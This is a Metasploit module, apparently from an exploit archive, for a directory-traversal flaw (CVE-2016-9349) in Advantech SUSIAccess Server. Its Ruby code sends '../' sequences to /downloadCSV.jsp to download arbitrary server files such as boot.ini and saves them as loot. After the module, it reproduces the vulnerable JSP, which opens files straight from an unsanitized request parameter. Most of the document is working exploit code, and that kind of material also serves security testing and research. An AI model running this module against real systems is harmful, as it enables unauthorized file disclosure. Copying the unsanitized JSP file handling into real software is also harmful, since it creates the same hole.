Advantech SUSIAccess < 3.0 - Directory Traversal / Information Disclosure (Metasploit)

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Advantech SUSIAccess Server Directory Traversal Information Disclosure',
			'Description'    => %q{
				This module exploits an information disclosure vulnerability found in
				Advantech SUSIAccess <= version 3.0. The vulnerability is triggered when
				sending a GET request to the server with a series of dot dot slashes (../)
				in the file parameter. 
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2016-9349' ],
					[ 'ZDI', '16-628' ],
					[ 'BID', '94629' ],
					[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-336-04' ]
				],
			'DisclosureDate' => 'Dec 13 2016'))

		register_options(
			[
				OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),
				OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
				Opt::RPORT(8080)
			], self.class )
	end

	def run

	depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
	levels = "/" + ("../" * depth)

	file = "#{levels}#{datastore['FILE']}"
	file = file.gsub(/ /, "%20")

	res = send_request_raw({
		'method'	=> 'GET',
		'uri'		=> "/downloadCSV.jsp?file=#{file}",
	})

	if res and res.code == 200
		loot = res.body
		if not loot or loot.empty?
			print_status("File from #{rhost}:#{rport} is empty...")
			return
		end
		file = ::File.basename(datastore['FILE'])
		path = store_loot('advantech_susiaccess.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
		print_status("Stored #{datastore['FILE']} to #{path}")
		return
	else
		print_error("Something went wrong... Application returned a #{res.code}")
	end

	end
end
__END__
<%@ page import="java.util.*,java.io.*" %>               
<%
 File f = new File (getServletContext().getRealPath("/") + request.getParameter("file") );
 //set the content type(can be excel/word/powerpoint etc..)
 response.setContentType ("application/csv");
 //set the header and also the Name by which user will be prompted to save
 response.setHeader ("Content-Disposition", "attachment; filename=\""+request.getParameter("file").split("/")[2] +"\"");
 
 //get the file name
 String name = f.getName().substring(f.getName().lastIndexOf("/") + 1,f.getName().length());
 //OPen an input stream to the file and post the file contents thru the 
 //servlet output stream to the client m/c
 
  InputStream in = new FileInputStream(f);
  ServletOutputStream outs = response.getOutputStream();
  
  
  int bit = 256;
  int i = 0;
  try {
   while ((bit) >= 0) {
    bit = in.read();
    outs.write(bit);
   }
   //System.out.println("" +bit);
  } catch (IOException ioe) {
   ioe.printStackTrace(System.out);
  }
//  System.out.println( "n" + i + " bytes sent.");
//  System.out.println( "n" + f.length() + " bytes sent.");
  outs.flush();
  outs.close();
  in.close(); 

%>